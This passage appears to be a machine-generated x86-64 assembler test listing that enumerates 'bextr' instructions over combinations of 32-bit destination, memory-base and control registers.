bextr edi, [r15d], r8d
bextr edi, [r15d], r9d
bextr edi, [r15d], r10d
bextr edi, [r15d], r11d
bextr edi, [r15d], r12d
bextr edi, [r15d], r13d
bextr edi, [r15d], r14d
bextr edi, [r15d], r15d
bextr edi, [r15d], esp
bextr edi, [r15d], esi
bextr edi, [r15d], ebp
bextr edi, [esp], eax
bextr edi, [esp], ebx
bextr edi, [esp], ecx
bextr edi, [esp], edx
bextr edi, [esp], edi
bextr edi, [esp], r8d
bextr edi, [esp], r9d
bextr edi, [esp], r10d
bextr edi, [esp], r11d
bextr edi, [esp], r12d
bextr edi, [esp], r13d
bextr edi, [esp], r14d
bextr edi, [esp], r15d
bextr edi, [esp], esp
bextr edi, [esp], esi
bextr edi, [esp], ebp
bextr edi, [esi], eax
bextr edi, [esi], ebx
bextr edi, [esi], ecx
bextr edi, [esi], edx
bextr edi, [esi], edi
bextr edi, [esi], r8d
bextr edi, [esi], r9d
bextr edi, [esi], r10d
bextr edi, [esi], r11d
bextr edi, [esi], r12d
bextr edi, [esi], r13d
bextr edi, [esi], r14d
bextr edi, [esi], r15d
bextr edi, [esi], esp
bextr edi, [esi], esi
bextr edi, [esi], ebp
bextr edi, [ebp], eax
bextr edi, [ebp], ebx
bextr edi, [ebp], ecx
bextr edi, [ebp], edx
bextr edi, [ebp], edi
bextr edi, [ebp], r8d
bextr edi, [ebp], r9d
bextr edi, [ebp], r10d
bextr edi, [ebp], r11d
bextr edi, [ebp], r12d
bextr edi, [ebp], r13d
bextr edi, [ebp], r14d
bextr edi, [ebp], r15d
bextr edi, [ebp], esp
bextr edi, [ebp], esi
bextr edi, [ebp], ebp
bextr r8d, [eax], eax
bextr r8d, [eax], ebx
bextr r8d, [eax], ecx
bextr r8d, [eax], edx
bextr r8d, [eax], edi
bextr r8d, [eax], r8d
bextr r8d, [eax], r9d
bextr r8d, [eax], r10d
bextr r8d, [eax], r11d
bextr r8d, [eax], r12d
bextr r8d, [eax], r13d
bextr r8d, [eax], r14d
bextr r8d, [eax], r15d
bextr r8d, [eax], esp
bextr r8d, [eax], esi
bextr r8d, [eax], ebp
bextr r8d, [ebx], eax
bextr r8d, [ebx], ebx
bextr r8d, [ebx], ecx
bextr r8d, [ebx], edx
bextr r8d, [ebx], edi
bextr r8d, [ebx], r8d
bextr r8d, [ebx], r9d
bextr r8d, [ebx], r10d
bextr r8d, [ebx], r11d
bextr r8d, [ebx], r12d
bextr r8d, [ebx], r13d
bextr r8d, [ebx], r14d
bextr r8d, [ebx], r15d
bextr r8d, [ebx], esp
bextr r8d, [ebx], esi
bextr r8d, [ebx], ebp
bextr r8d, [ecx], eax
bextr r8d, [ecx], ebx
bextr r8d, [ecx], ecx
bextr r8d, [ecx], edx
bextr r8d, [ecx], edi
bextr r8d, [ecx], r8d
bextr r8d, [ecx], r9d
bextr r8d, [ecx], r10d
bextr r8d, [ecx], r11d
bextr r8d, [ecx], r12d
bextr r8d, [ecx], r13d
bextr r8d, [ecx], r14d
bextr r8d, [ecx], r15d
bextr r8d, [ecx], esp
bextr r8d, [ecx], esi
bextr r8d, [ecx], ebp
bextr r8d, [edx], eax
bextr r8d, [edx], ebx
bextr r8d, [edx], ecx
bextr r8d, [edx], edx
bextr r8d, [edx], edi
bextr r8d, [edx], r8d
bextr r8d, [edx], r9d
bextr r8d, [edx], r10d
bextr r8d, [edx], r11d
bextr r8d, [edx], r12d
bextr r8d, [edx], r13d
bextr r8d, [edx], r14d
bextr r8d, [edx], r15d
bextr r8d, [edx], esp
bextr r8d, [edx], esi
bextr r8d, [edx], ebp
bextr r8d, [edi], eax
bextr r8d, [edi], ebx
bextr r8d, [edi], ecx
bextr r8d, [edi], edx
bextr r8d, [edi], edi
bextr r8d, [edi], r8d
bextr r8d, [edi], r9d
bextr r8d, [edi], r10d
bextr r8d, [edi], r11d
bextr r8d, [edi], r12d
bextr r8d, [edi], r13d
bextr r8d, [edi], r14d
bextr r8d, [edi], r15d
bextr r8d, [edi], esp
bextr r8d, [edi], esi
bextr r8d, [edi], ebp
bextr r8d, [r8d], eax
bextr r8d, [r8d], ebx
bextr r8d, [r8d], ecx
bextr r8d, [r8d], edx
bextr r8d, [r8d], edi
bextr r8d, [r8d], r8d
bextr r8d, [r8d], r9d
bextr r8d, [r8d], r10d
bextr r8d, [r8d], r11d
bextr r8d, [r8d], r12d
bextr r8d, [r8d], r13d
bextr r8d, [r8d], r14d
bextr r8d, [r8d], r15d
bextr r8d, [r8d], esp
bextr r8d, [r8d], esi
bextr r8d, [r8d], ebp
bextr r8d, [r9d], eax
bextr r8d, [r9d], ebx
bextr r8d, [r9d], ecx
bextr r8d, [r9d], edx
bextr r8d, [r9d], edi
bextr r8d, [r9d], r8d
bextr r8d, [r9d], r9d
bextr r8d, [r9d], r10d
bextr r8d, [r9d], r11d
bextr r8d, [r9d], r12d
bextr r8d, [r9d], r13d
bextr r8d, [r9d], r14d
bextr r8d, [r9d], r15d
bextr r8d, [r9d], esp
bextr r8d, [r9d], esi
bextr r8d, [r9d], ebp
bextr r8d, [r10d], eax
bextr r8d, [r10d], ebx
bextr r8d, [r10d], ecx
bextr r8d, [r10d], edx
bextr r8d, [r10d], edi
bextr r8d, [r10d], r8d
bextr r8d, [r10d], r9d
bextr r8d, [r10d], r10d
bextr r8d, [r10d], r11d
bextr r8d, [r10d], r12d
bextr r8d, [r10d], r13d
bextr r8d, [r10d], r14d
bextr r8d, [r10d], r15d
bextr r8d, [r10d], esp
bextr r8d, [r10d], esi
bextr r8d, [r10d], ebp
bextr r8d, [r11d], eax
bextr r8d, [r11d], ebx
bextr r8d, [r11d], ecx
bextr r8d, [r11d], edx
bextr r8d, [r11d], edi
bextr r8d, [r11d], r8d
bextr r8d, [r11d], r9d
bextr r8d, [r11d], r10d
bextr r8d, [r11d], r11d
bextr r8d, [r11d], r12d
bextr r8d, [r11d], r13d
bextr r8d, [r11d], r14d
bextr r8d, [r11d], r15d
bextr r8d, [r11d], esp
bextr r8d, [r11d], esi
bextr r8d, [r11d], ebp
bextr r8d, [r12d], eax
bextr r8d, [r12d], ebx
bextr r8d, [r12d], ecx
bextr r8d, [r12d], edx
bextr r8d, [r12d], edi
bextr r8d, [r12d], r8d
bextr r8d, [r12d], r9d
bextr r8d, [r12d], r10d
bextr r8d, [r12d], r11d
bextr r8d, [r12d], r12d
bextr r8d, [r12d], r13d
bextr r8d, [r12d], r14d
bextr r8d, [r12d], r15d
bextr r8d, [r12d], esp
bextr r8d, [r12d], esi
bextr r8d, [r12d], ebp
bextr r8d, [r13d], eax
bextr r8d, [r13d], ebx
bextr r8d, [r13d], ecx
bextr r8d, [r13d], edx
bextr r8d, [r13d], edi
bextr r8d, [r13d], r8d
bextr r8d, [r13d], r9d
bextr r8d, [r13d], r10d
bextr r8d, [r13d], r11d
bextr r8d, [r13d], r12d
bextr r8d, [r13d], r13d
bextr r8d, [r13d], r14d
bextr r8d, [r13d], r15d
bextr r8d, [r13d], esp
bextr r8d, [r13d], esi
bextr r8d, [r13d], ebp
bextr r8d, [r14d], eax
bextr r8d, [r14d], ebx
bextr r8d, [r14d], ecx
bextr r8d, [r14d], edx
bextr r8d, [r14d], edi
bextr r8d, [r14d], r8d
bextr r8d, [r14d], r9d
bextr r8d, [r14d], r10d
bextr r8d, [r14d], r11d
bextr r8d, [r14d], r12d
bextr r8d, [r14d], r13d
bextr r8d, [r14d], r14d
bextr r8d, [r14d], r15d
bextr r8d, [r14d], esp
bextr r8d, [r14d], esi
bextr r8d, [r14d], ebp
bextr r8d, [r15d], eax
bextr r8d, [r15d], ebx
bextr r8d, [r15d], ecx
bextr r8d, [r15d], edx
bextr r8d, [r15d], edi
bextr r8d, [r15d], r8d
bextr r8d, [r15d], r9d
bextr r8d, [r15d], r10d
bextr r8d, [r15d], r11d
bextr r8d, [r15d], r12d
bextr r8d, [r15d], r13d
bextr r8d, [r15d], r14d
bextr r8d, [r15d], r15d
bextr r8d, [r15d], esp
bextr r8d, [r15d], esi
bextr r8d, [r15d], ebp
bextr r8d, [esp], eax
bextr r8d, [esp], ebx
bextr r8d, [esp], ecx
bextr r8d, [esp], edx
bextr r8d, [esp], edi
bextr r8d, [esp], r8d
bextr r8d, [esp], r9d
bextr r8d, [esp], r10d
bextr r8d, [esp], r11d
bextr r8d, [esp], r12d
bextr r8d, [esp], r13d
bextr r8d, [esp], r14d
bextr r8d, [esp], r15d
bextr r8d, [esp], esp
bextr r8d, [esp], esi
bextr r8d, [esp], ebp
bextr r8d, [esi], eax
bextr r8d, [esi], ebx
bextr r8d, [esi], ecx
bextr r8d, [esi], edx
bextr r8d, [esi], edi
bextr r8d, [esi], r8d
bextr r8d, [esi], r9d
bextr r8d, [esi], r10d
bextr r8d, [esi], r11d
bextr r8d, [esi], r12d
bextr r8d, [esi], r13d
bextr r8d, [esi], r14d
bextr r8d, [esi], r15d
bextr r8d, [esi], esp
bextr r8d, [esi], esi
bextr r8d, [esi], ebp
bextr r8d, [ebp], eax
bextr r8d, [ebp], ebx
bextr r8d, [ebp], ecx
bextr r8d, [ebp], edx
bextr r8d, [ebp], edi
bextr r8d, [ebp], r8d
bextr r8d, [ebp], r9d
bextr r8d, [ebp], r10d
bextr r8d, [ebp], r11d
bextr r8d, [ebp], r12d
bextr r8d, [ebp], r13d
bextr r8d, [ebp], r14d
bextr r8d, [ebp], r15d
bextr r8d, [ebp], esp
bextr r8d, [ebp], esi
bextr r8d, [ebp], ebp
bextr r9d, [eax], eax
bextr r9d, [eax], ebx
bextr r9d, [eax], ecx
bextr r9d, [eax], edx
bextr r9d, [eax], edi
bextr r9d, [eax], r8d
bextr r9d, [eax], r9d
bextr r9d, [eax], r10d
bextr r9d, [eax], r11d
bextr r9d, [eax], r12d
bextr r9d, [eax], r13d
bextr r9d, [eax], r14d
bextr r9d, [eax], r15d
bextr r9d, [eax], esp
bextr r9d, [eax], esi
bextr r9d, [eax], ebp
bextr r9d, [ebx], eax
bextr r9d, [ebx], ebx
bextr r9d, [ebx], ecx
bextr r9d, [ebx], edx
bextr r9d, [ebx], edi
bextr r9d, [ebx], r8d
bextr r9d, [ebx], r9d
bextr r9d, [ebx], r10d
bextr r9d, [ebx], r11d
bextr r9d, [ebx], r12d
bextr r9d, [ebx], r13d
bextr r9d, [ebx], r14d
bextr r9d, [ebx], r15d
bextr r9d, [ebx], esp
bextr r9d, [ebx], esi
bextr r9d, [ebx], ebp
bextr r9d, [ecx], eax
bextr r9d, [ecx], ebx
bextr r9d, [ecx], ecx
bextr r9d, [ecx], edx
bextr r9d, [ecx], edi
bextr r9d, [ecx], r8d
bextr r9d, [ecx], r9d
bextr r9d, [ecx], r10d
bextr r9d, [ecx], r11d
bextr r9d, [ecx], r12d
bextr r9d, [ecx], r13d
bextr r9d, [ecx], r14d
bextr r9d, [ecx], r15d
bextr r9d, [ecx], esp
bextr r9d, [ecx], esi
bextr r9d, [ecx], ebp
bextr r9d, [edx], eax
bextr r9d, [edx], ebx
bextr r9d, [edx], ecx
bextr r9d, [edx], edx
bextr r9d, [edx], edi
bextr r9d, [edx], r8d
bextr r9d, [edx], r9d
bextr r9d, [edx], r10d
bextr r9d, [edx], r11d
bextr r9d, [edx], r12d
bextr r9d, [edx], r13d
bextr r9d, [edx], r14d
bextr r9d, [edx], r15d
bextr r9d, [edx], esp
bextr r9d, [edx], esi
bextr r9d, [edx], ebp
bextr r9d, [edi], eax
bextr r9d, [edi], ebx
bextr r9d, [edi], ecx
bextr r9d, [edi], edx
bextr r9d, [edi], edi
bextr r9d, [edi], r8d
bextr r9d, [edi], r9d
bextr r9d, [edi], r10d
bextr r9d, [edi], r11d
bextr r9d, [edi], r12d
bextr r9d, [edi], r13d
bextr r9d, [edi], r14d
bextr r9d, [edi], r15d
bextr r9d, [edi], esp
bextr r9d, [edi], esi
bextr r9d, [edi], ebp
bextr r9d, [r8d], eax
bextr r9d, [r8d], ebx
bextr r9d, [r8d], ecx
bextr r9d, [r8d], edx
bextr r9d, [r8d], edi
bextr r9d, [r8d], r8d
bextr r9d, [r8d], r9d
bextr r9d, [r8d], r10d
bextr r9d, [r8d], r11d
bextr r9d, [r8d], r12d
bextr r9d, [r8d], r13d
bextr r9d, [r8d], r14d
bextr r9d, [r8d], r15d
bextr r9d, [r8d], esp
bextr r9d, [r8d], esi
bextr r9d, [r8d], ebp
bextr r9d, [r9d], eax
bextr r9d, [r9d], ebx
bextr r9d, [r9d], ecx
bextr r9d, [r9d], edx
bextr r9d, [r9d], edi
bextr r9d, [r9d], r8d
bextr r9d, [r9d], r9d
bextr r9d, [r9d], r10d
bextr r9d, [r9d], r11d
bextr r9d, [r9d], r12d
bextr r9d, [r9d], r13d
bextr r9d, [r9d], r14d
bextr r9d, [r9d], r15d
bextr r9d, [r9d], esp
bextr r9d, [r9d], esi
bextr r9d, [r9d], ebp
bextr r9d, [r10d], eax
bextr r9d, [r10d], ebx
bextr r9d, [r10d], ecx
bextr r9d, [r10d], edx
bextr r9d, [r10d], edi
bextr r9d, [r10d], r8d
bextr r9d, [r10d], r9d
bextr r9d, [r10d], r10d
bextr r9d, [r10d], r11d
bextr r9d, [r10d], r12d
bextr r9d, [r10d], r13d
bextr r9d, [r10d], r14d
bextr r9d, [r10d], r15d
bextr r9d, [r10d], esp
bextr r9d, [r10d], esi
bextr r9d, [r10d], ebp
bextr r9d, [r11d], eax
bextr r9d, [r11d], ebx
bextr r9d, [r11d], ecx
bextr r9d, [r11d], edx
bextr r9d, [r11d], edi
bextr r9d, [r11d], r8d
bextr r9d, [r11d], r9d
bextr r9d, [r11d], r10d
bextr r9d, [r11d], r11d
bextr r9d, [r11d], r12d
bextr r9d, [r11d], r13d
bextr r9d, [r11d], r14d
bextr r9d, [r11d], r15d
bextr r9d, [r11d], esp
bextr r9d, [r11d], esi
bextr r9d, [r11d], ebp
bextr r9d, [r12d], eax
bextr r9d, [r12d], ebx
bextr r9d, [r12d], ecx
bextr r9d, [r12d], edx
bextr r9d, [r12d], edi
bextr r9d, [r12d], r8d
bextr r9d, [r12d], r9d
bextr r9d, [r12d], r10d
bextr r9d, [r12d], r11d
bextr r9d, [r12d], r12d
bextr r9d, [r12d], r13d
bextr r9d, [r12d], r14d
bextr r9d, [r12d], r15d
bextr r9d, [r12d], esp
bextr r9d, [r12d], esi
bextr r9d, [r12d], ebp
bextr r9d, [r13d], eax
bextr r9d, [r13d], ebx
bextr r9d, [r13d], ecx
bextr r9d, [r13d], edx
bextr r9d, [r13d], edi
bextr r9d, [r13d], r8d
bextr r9d, [r13d], r9d
bextr r9d, [r13d], r10d
bextr r9d, [r13d], r11d
bextr r9d, [r13d], r12d
bextr r9d, [r13d], r13d
bextr r9d, [r13d], r14d
bextr r9d, [r13d], r15d
bextr r9d, [r13d], esp
bextr r9d, [r13d], esi
bextr r9d, [r13d], ebp
bextr r9d, [r14d], eax
bextr r9d, [r14d], ebx
bextr r9d, [r14d], ecx
bextr r9d, [r14d], edx
bextr r9d, [r14d], edi
bextr r9d, [r14d], r8d
bextr r9d, [r14d], r9d
bextr r9d, [r14d], r10d
bextr r9d, [r14d], r11d
bextr r9d, [r14d], r12d
bextr r9d, [r14d], r13d
bextr r9d, [r14d], r14d
bextr r9d, [r14d], r15d
bextr r9d, [r14d], esp
bextr r9d, [r14d], esi
bextr r9d, [r14d], ebp
bextr r9d, [r15d], eax
bextr r9d, [r15d], ebx
bextr r9d, [r15d], ecx
bextr r9d, [r15d], edx
bextr r9d, [r15d], edi
bextr r9d, [r15d], r8d
bextr r9d, [r15d], r9d
bextr r9d, [r15d], r10d
bextr r9d, [r15d], r11d
bextr r9d, [r15d], r12d
bextr r9d, [r15d], r13d
bextr r9d, [r15d], r14d
bextr r9d, [r15d], r15d
bextr r9d, [r15d], esp
bextr r9d, [r15d], esi
bextr r9d, [r15d], ebp
bextr r9d, [esp], eax
bextr r9d, [esp], ebx
bextr r9d, [esp], ecx
bextr r9d, [esp], edx
bextr r9d, [esp], edi
bextr r9d, [esp], r8d
bextr r9d, [esp], r9d
bextr r9d, [esp], r10d
bextr r9d, [esp], r11d
bextr r9d, [esp], r12d
bextr r9d, [esp], r13d
bextr r9d, [esp], r14d
bextr r9d, [esp], r15d
bextr r9d, [esp], esp
bextr r9d, [esp], esi
bextr r9d, [esp], ebp
bextr r9d, [esi], eax
bextr r9d, [esi], ebx
bextr r9d, [esi], ecx
bextr r9d, [esi], edx
bextr r9d, [esi], edi
bextr r9d, [esi], r8d
bextr r9d, [esi], r9d
bextr r9d, [esi], r10d
bextr r9d, [esi], r11d
bextr r9d, [esi], r12d
bextr r9d, [esi], r13d
bextr r9d, [esi], r14d
bextr r9d, [esi], r15d
bextr r9d, [esi], esp
bextr r9d, [esi], esi
bextr r9d, [esi], ebp
bextr r9d, [ebp], eax
bextr r9d, [ebp], ebx
bextr r9d, [ebp], ecx
bextr r9d, [ebp], edx
bextr r9d, [ebp], edi
bextr r9d, [ebp], r8d
bextr r9d, [ebp], r9d
bextr r9d, [ebp], r10d
bextr r9d, [ebp], r11d
bextr r9d, [ebp], r12d
bextr r9d, [ebp], r13d
bextr r9d, [ebp], r14d
bextr r9d, [ebp], r15d
bextr r9d, [ebp], esp
bextr r9d, [ebp], esi
bextr r9d, [ebp], ebp
bextr r10d, [eax], eax
bextr r10d, [eax], ebx
bextr r10d, [eax], ecx
bextr r10d, [eax], edx
bextr r10d, [eax], edi
bextr r10d, [eax], r8d
bextr r10d, [eax], r9d
bextr r10d, [eax], r10d
bextr r10d, [eax], r11d
bextr r10d, [eax], r12d
bextr r10d, [eax], r13d
bextr r10d, [eax], r14d
bextr r10d, [eax], r15d
bextr r10d, [eax], esp
bextr r10d, [eax], esi
bextr r10d, [eax], ebp
bextr r10d, [ebx], eax
bextr r10d, [ebx], ebx
bextr r10d, [ebx], ecx
bextr r10d, [ebx], edx
bextr r10d, [ebx], edi
bextr r10d, [ebx], r8d
bextr r10d, [ebx], r9d
bextr r10d, [ebx], r10d
bextr r10d, [ebx], r11d
bextr r10d, [ebx], r12d
bextr r10d, [ebx], r13d
bextr r10d, [ebx], r14d
bextr r10d, [ebx], r15d
bextr r10d, [ebx], esp
bextr r10d, [ebx], esi
bextr r10d, [ebx], ebp
bextr r10d, [ecx], eax
bextr r10d, [ecx], ebx
bextr r10d, [ecx], ecx
bextr r10d, [ecx], edx
bextr r10d, [ecx], edi
bextr r10d, [ecx], r8d
bextr r10d, [ecx], r9d
bextr r10d, [ecx], r10d
bextr r10d, [ecx], r11d
bextr r10d, [ecx], r12d
bextr r10d, [ecx], r13d
bextr r10d, [ecx], r14d
bextr r10d, [ecx], r15d
bextr r10d, [ecx], esp
bextr r10d, [ecx], esi
bextr r10d, [ecx], ebp
bextr r10d, [edx], eax
bextr r10d, [edx], ebx
bextr r10d, [edx], ecx
bextr r10d, [edx], edx
bextr r10d, [edx], edi
bextr r10d, [edx], r8d
bextr r10d, [edx], r9d
bextr r10d, [edx], r10d
bextr r10d, [edx], r11d
bextr r10d, [edx], r12d
bextr r10d, [edx], r13d
bextr r10d, [edx], r14d
bextr r10d, [edx], r15d
bextr r10d, [edx], esp
bextr r10d, [edx], esi
bextr r10d, [edx], ebp
bextr r10d, [edi], eax
bextr r10d, [edi], ebx
bextr r10d, [edi], ecx
bextr r10d, [edi], edx
bextr r10d, [edi], edi
bextr r10d, [edi], r8d
bextr r10d, [edi], r9d
bextr r10d, [edi], r10d
bextr r10d, [edi], r11d
bextr r10d, [edi], r12d
bextr r10d, [edi], r13d
bextr r10d, [edi], r14d
bextr r10d, [edi], r15d
bextr r10d, [edi], esp
bextr r10d, [edi], esi
bextr r10d, [edi], ebp
bextr r10d, [r8d], eax
bextr r10d, [r8d], ebx
bextr r10d, [r8d], ecx
bextr r10d, [r8d], edx
bextr r10d, [r8d], edi
bextr r10d, [r8d], r8d
bextr r10d, [r8d], r9d
bextr r10d, [r8d], r10d
bextr r10d, [r8d], r11d
bextr r10d, [r8d], r12d
bextr r10d, [r8d], r13d
bextr r10d, [r8d], r14d
bextr r10d, [r8d], r15d
bextr r10d, [r8d], esp
bextr r10d, [r8d], esi
bextr r10d, [r8d], ebp
bextr r10d, [r9d], eax
bextr r10d, [r9d], ebx
bextr r10d, [r9d], ecx
bextr r10d, [r9d], edx
bextr r10d, [r9d], edi
bextr r10d, [r9d], r8d
bextr r10d, [r9d], r9d
bextr r10d, [r9d], r10d
bextr r10d, [r9d], r11d
bextr r10d, [r9d], r12d
bextr r10d, [r9d], r13d
bextr r10d, [r9d], r14d
bextr r10d, [r9d], r15d
bextr r10d, [r9d], esp
bextr r10d, [r9d], esi
bextr r10d, [r9d], ebp
bextr r10d, [r10d], eax
bextr r10d, [r10d], ebx
bextr r10d, [r10d], ecx
bextr r10d, [r10d], edx
bextr r10d, [r10d], edi
bextr r10d, [r10d], r8d
bextr r10d, [r10d], r9d
bextr r10d, [r10d], r10d
bextr r10d, [r10d], r11d
bextr r10d, [r10d], r12d
bextr r10d, [r10d], r13d
bextr r10d, [r10d], r14d
bextr r10d, [r10d], r15d
bextr r10d, [r10d], esp
bextr r10d, [r10d], esi
bextr r10d, [r10d], ebp
bextr r10d, [r11d], eax
bextr r10d, [r11d], ebx
bextr r10d, [r11d], ecx
bextr r10d, [r11d], edx
bextr r10d, [r11d], edi
bextr r10d, [r11d], r8d
bextr r10d, [r11d], r9d
bextr r10d, [r11d], r10d
bextr r10d, [r11d], r11d
bextr r10d, [r11d], r12d
bextr r10d, [r11d], r13d
bextr r10d, [r11d], r14d
bextr r10d, [r11d], r15d
bextr r10d, [r11d], esp
bextr r10d, [r11d], esi
bextr r10d, [r11d], ebp
bextr r10d, [r12d], eax
bextr r10d, [r12d], ebx
bextr r10d, [r12d], ecx
bextr r10d, [r12d], edx
bextr r10d, [r12d], edi
bextr r10d, [r12d], r8d
bextr r10d, [r12d], r9d
bextr r10d, [r12d], r10d
bextr r10d, [r12d], r11d
bextr r10d, [r12d], r12d
bextr r10d, [r12d], r13d
bextr r10d, [r12d], r14d
bextr r10d, [r12d], r15d
bextr r10d, [r12d], esp
bextr r10d, [r12d], esi
bextr r10d, [r12d], ebp
bextr r10d, [r13d], eax
bextr r10d, [r13d], ebx
bextr r10d, [r13d], ecx
bextr r10d, [r13d], edx
bextr r10d, [r13d], edi
bextr r10d, [r13d], r8d
bextr r10d, [r13d], r9d
bextr r10d, [r13d], r10d
bextr r10d, [r13d], r11d
bextr r10d, [r13d], r12d
bextr r10d, [r13d], r13d
bextr r10d, [r13d], r14d
bextr r10d, [r13d], r15d
bextr r10d, [r13d], esp
bextr r10d, [r13d], esi
bextr r10d, [r13d], ebp
bextr r10d, [r14d], eax
bextr r10d, [r14d], ebx
bextr r10d, [r14d], ecx
bextr r10d, [r14d], edx
bextr r10d, [r14d], edi
bextr r10d, [r14d], r8d
bextr r10d, [r14d], r9d
bextr r10d, [r14d], r10d
bextr r10d, [r14d], r11d
bextr r10d, [r14d], r12d
bextr r10d, [r14d], r13d
bextr r10d, [r14d], r14d
bextr r10d, [r14d], r15d
bextr r10d, [r14d], esp
bextr r10d, [r14d], esi
bextr r10d, [r14d], ebp
bextr r10d, [r15d], eax
bextr r10d, [r15d], ebx
bextr r10d, [r15d], ecx
bextr r10d, [r15d], edx
bextr r10d, [r15d], edi
bextr r10d, [r15d], r8d
bextr r10d, [r15d], r9d
bextr r10d, [r15d], r10d
bextr r10d, [r15d], r11d
bextr r10d, [r15d], r12d
bextr r10d, [r15d], r13d
bextr r10d, [r15d], r14d
bextr r10d, [r15d], r15d
bextr r10d, [r15d], esp
bextr r10d, [r15d], esi
bextr r10d, [r15d], ebp
bextr r10d, [esp], eax
bextr r10d, [esp], ebx
bextr r10d, [esp], ecx
bextr r10d, [esp], edx
bextr r10d, [esp], edi
bextr r10d, [esp], r8d
bextr r10d, [esp], r9d
bextr r10d, [esp], r10d
bextr r10d, [esp], r11d
bextr r10d, [esp], r12d
bextr r10d, [esp], r13d
bextr r10d, [esp], r14d
bextr r10d, [esp], r15d
bextr r10d, [esp], esp
bextr r10d, [esp], esi
bextr r10d, [esp], ebp
bextr r10d, [esi], eax
bextr r10d, [esi], ebx
bextr r10d, [esi], ecx
bextr r10d, [esi], edx
bextr r10d, [esi], edi
bextr r10d, [esi], r8d
bextr r10d, [esi], r9d
bextr r10d, [esi], r10d
bextr r10d, [esi], r11d
bextr r10d, [esi], r12d
bextr r10d, [esi], r13d
bextr r10d, [esi], r14d
bextr r10d, [esi], r15d
bextr r10d, [esi], esp
bextr r10d, [esi], esi
bextr r10d, [esi], ebp
bextr r10d, [ebp], eax
bextr r10d, [ebp], ebx
bextr r10d, [ebp], ecx
bextr r10d, [ebp], edx
bextr r10d, [ebp], edi
bextr r10d, [ebp], r8d
bextr r10d, [ebp], r9d
bextr r10d, [ebp], r10d
bextr r10d, [ebp], r11d
bextr r10d, [ebp], r12d
bextr r10d, [ebp], r13d
bextr r10d, [ebp], r14d
bextr r10d, [ebp], r15d
bextr r10d, [ebp], esp
bextr r10d, [ebp], esi
bextr r10d, [ebp], ebp
bextr r11d, [eax], eax
bextr r11d, [eax], ebx
bextr r11d, [eax], ecx
bextr r11d, [eax], edx
bextr r11d, [eax], edi
bextr r11d, [eax], r8d
bextr r11d, [eax], r9d
bextr r11d, [eax], r10d
bextr r11d, [eax], r11d
bextr r11d, [eax], r12d
bextr r11d, [eax], r13d
bextr r11d, [eax], r14d
bextr r11d, [eax], r15d
bextr r11d, [eax], esp
bextr r11d, [eax], esi
bextr r11d, [eax], ebp
bextr r11d, [ebx], eax
bextr r11d, [ebx], ebx
bextr r11d, [ebx], ecx
bextr r11d, [ebx], edx
bextr r11d, [ebx], edi
bextr r11d, [ebx], r8d
bextr r11d, [ebx], r9d
bextr r11d, [ebx], r10d
bextr r11d, [ebx], r11d
bextr r11d, [ebx], r12d
bextr r11d, [ebx], r13d
bextr r11d, [ebx], r14d
bextr r11d, [ebx], r15d
bextr r11d, [ebx], esp
bextr r11d, [ebx], esi
bextr r11d, [ebx], ebp
bextr r11d, [ecx], eax
bextr r11d, [ecx], ebx
bextr r11d, [ecx], ecx
bextr r11d, [ecx], edx
bextr r11d, [ecx], edi
bextr r11d, [ecx], r8d
bextr r11d, [ecx], r9d
bextr r11d, [ecx], r10d
bextr r11d, [ecx], r11d
bextr r11d, [ecx], r12d
bextr r11d, [ecx], r13d
bextr r11d, [ecx], r14d
bextr r11d, [ecx], r15d
bextr r11d, [ecx], esp
bextr r11d, [ecx], esi
bextr r11d, [ecx], ebp
bextr r11d, [edx], eax
bextr r11d, [edx], ebx
bextr r11d, [edx], ecx
bextr r11d, [edx], edx
bextr r11d, [edx], edi
bextr r11d, [edx], r8d
bextr r11d, [edx], r9d
bextr r11d, [edx], r10d
bextr r11d, [edx], r11d
bextr r11d, [edx], r12d
bextr r11d, [edx], r13d
bextr r11d, [edx], r14d
bextr r11d, [edx], r15d
bextr r11d, [edx], esp
bextr r11d, [edx], esi
bextr r11d, [edx], ebp
bextr r11d, [edi], eax
bextr r11d, [edi], ebx
bextr r11d, [edi], ecx
bextr r11d, [edi], edx
bextr r11d, [edi], edi
bextr r11d, [edi], r8d
bextr r11d, [edi], r9d
bextr r11d, [edi], r10d
bextr r11d, [edi], r11d
bextr r11d, [edi], r12d
bextr r11d, [edi], r13d
bextr r11d, [edi], r14d
bextr r11d, [edi], r15d
bextr r11d, [edi], esp
bextr r11d, [edi], esi
bextr r11d, [edi], ebp
bextr r11d, [r8d], eax
bextr r11d, [r8d], ebx
bextr r11d, [r8d], ecx
bextr r11d, [r8d], edx
bextr r11d, [r8d], edi
bextr r11d, [r8d], r8d
bextr r11d, [r8d], r9d
bextr r11d, [r8d], r10d
bextr r11d, [r8d], r11d
bextr r11d, [r8d], r12d
bextr r11d, [r8d], r13d
bextr r11d, [r8d], r14d
bextr r11d, [r8d], r15d
bextr r11d, [r8d], esp
bextr r11d, [r8d], esi
bextr r11d, [r8d], ebp
bextr r11d, [r9d], eax
bextr r11d, [r9d], ebx
bextr r11d, [r9d], ecx
bextr r11d, [r9d], edx
bextr r11d, [r9d], edi
bextr r11d, [r9d], r8d
bextr r11d, [r9d], r9d
bextr r11d, [r9d], r10d
bextr r11d, [r9d], r11d
bextr r11d, [r9d], r12d
bextr r11d, [r9d], r13d
bextr r11d, [r9d], r14d
bextr r11d, [r9d], r15d
bextr r11d, [r9d], esp
bextr r11d, [r9d], esi
bextr r11d, [r9d], ebp
bextr r11d, [r10d], eax
bextr r11d, [r10d], ebx
bextr r11d, [r10d], ecx
bextr r11d, [r10d], edx
bextr r11d, [r10d], edi
bextr r11d, [r10d], r8d
bextr r11d, [r10d], r9d
bextr r11d, [r10d], r10d
bextr r11d, [r10d], r11d
bextr r11d, [r10d], r12d
bextr r11d, [r10d], r13d
bextr r11d, [r10d], r14d
bextr r11d, [r10d], r15d
bextr r11d, [r10d], esp
bextr r11d, [r10d], esi
bextr r11d, [r10d], ebp
bextr r11d, [r11d], eax
bextr r11d, [r11d], ebx
bextr r11d, [r11d], ecx
bextr r11d, [r11d], edx
bextr r11d, [r11d], edi
bextr r11d, [r11d], r8d
bextr r11d, [r11d], r9d
bextr r11d, [r11d], r10d
bextr r11d, [r11d], r11d
bextr r11d, [r11d], r12d
bextr r11d, [r11d], r13d
bextr r11d, [r11d], r14d
bextr r11d, [r11d], r15d
bextr r11d, [r11d], esp
bextr r11d, [r11d], esi
bextr r11d, [r11d], ebp
bextr r11d, [r12d], eax
bextr r11d, [r12d], ebx
bextr r11d, [r12d], ecx
bextr r11d, [r12d], edx
bextr r11d, [r12d], edi
bextr r11d, [r12d], r8d
bextr r11d, [r12d], r9d
bextr r11d, [r12d], r10d
bextr r11d, [r12d], r11d
